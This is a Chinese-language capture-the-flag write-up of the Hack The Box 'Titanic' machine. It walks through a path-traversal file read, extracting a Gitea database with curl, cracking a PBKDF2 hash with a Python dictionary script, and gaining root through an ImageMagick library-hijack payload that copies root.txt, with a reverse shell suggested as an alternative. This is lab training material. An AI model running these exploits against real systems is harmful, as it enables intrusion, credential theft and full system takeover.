HTB-Titanic
Machine Name: Titanic
Difficulty: Easy
HTB machine link: https://app.hackthebox.com/machines/Titanic
Enumeration
Nmap
nmap -sC -sV -oN titanic.nmap 10.10.11.55
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache 2.4.41 (Ubuntu)
3306/tcp open mysql MySQL 5.7.32-0ubuntu0.20.04.1
user flag

通过将 xxx.json
替换为 ..
来测试 LFI/../../../etc/passwd
成功返回 /etc/passwd
的内容。这证实了该网站容易受到 LFI
的攻击。
/etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。


在 /etc/passwd
中,我们看到一个developer
用户,那就是user
的flag:

root flag
通过提取 /etc/hosts
检查其他域,发现:
127.0.0.1 localhost titanic.htb dev.titanic.htb
访问 http://dev.titanic.htb
将打开 Gitea 登录页面。可以注册新用户进行探索。在 Gitea 中,有两个感兴趣的存储库:
- docker-config
- flask-app

在 docker-config
存储库中,我们找到了一个名为 docker-compose.yml
的文件,其中包含以下内容:


查看 docker-config
显示 Gitea 在 Docker 容器中运行,并将数据存储在 /home/developer/gitea/data 中。
提取 Gitea 数据库
通过参考 Gitea 的文档,我们了解到所有用户都存储在 gitea.db
SQLite 文件中,而该文件又存储在 docker 映像内的 /data/gitea
中。最后的路径是:
/home/developer/gitea/data/gitea/gitea.db
回到前面的 LFI 漏洞,我们可以使用它来提取 gitea.db
文件。
curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o gitea.db
sqlite3 gitea.db
.tables
# 查看表里字段名
.schema user
select * from user;
select lower_name, passwd,salt from user;

我们为developer
用户检索经过哈希处理的密码(和 salt)
Hashcat 破解密码
sha256:50000:8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
hashcat -m 10900 gite.hashes rockyou.txt
hashcat没爆出来,问了gpt,写了一个脚本:
import hashlib
import binascii
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
hash_value = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations,
dklen
)
return hash_value
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
target_hash_bytes = binascii.unhexlify(target_hash)
with open(dictionary_file, 'r', encoding='utf-8') as file:
count = 0
for line in file:
password = line.strip()
hash_value = pbkdf2_hash(password, salt, iterations, dklen)
count += 1
print(f"正在检查密码 {count}: {password}")
if hash_value == target_hash_bytes:
print(f"\nFound password: {password}")
return password
print("Password not found.")
return None
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = 'rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
# 8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
User Shell
有了破解的密码,我们就可以 SSH 进入:
ssh developer@titanic.htb

快速的 sudo -l
检查发现没有直接的 sudo 权限。查看一下拥有写入权限的目录:
find /opt -writable -type d 2>/dev/null
发现一个/opt/scripts/identify_images.sh,查看脚本文件,从这段脚本代码可以得知我们需要的目录为/opt/app/static/assets/images/,并且能够知道imagemagick存在,先查看一下imagemagick版本信息
ImageMagick 漏洞利用
系统使用 ImageMagick 7.1.1–35,该漏洞容易受到已知任意代码执行漏洞的攻击。通过制作恶意文件(例如 .mvg 或 .svg),我们可以在 identify 处理它时执行命令。https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
Payload
我们需要在/opt/app/static/assets/images/目录下生成一个可执行的库来利用这个漏洞,并且前面得知该目录拥有写入权限 输入cd /opt/app/static/assets/images/进入该目录下,然后输入
下面是一个使用共享库方法的简化示例,尽管在实践中经常使用反向 shell 有效负载。编译恶意 .so 文件:
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt > /tmp/root.txt");
exit(0);
}
EOF
旦 ImageMagick 处理了这个恶意文件,它就会执行构造函数中的代码,有效地将root.txt
复制到 /tmp/root.txt
。或者,您可以嵌入反向 shell。
这段代码会复制root.txt,并且给予权限。 一段时间后,当前目录下就会出现被复制的root.txt,输入cat root.txt
即可看到rootflag
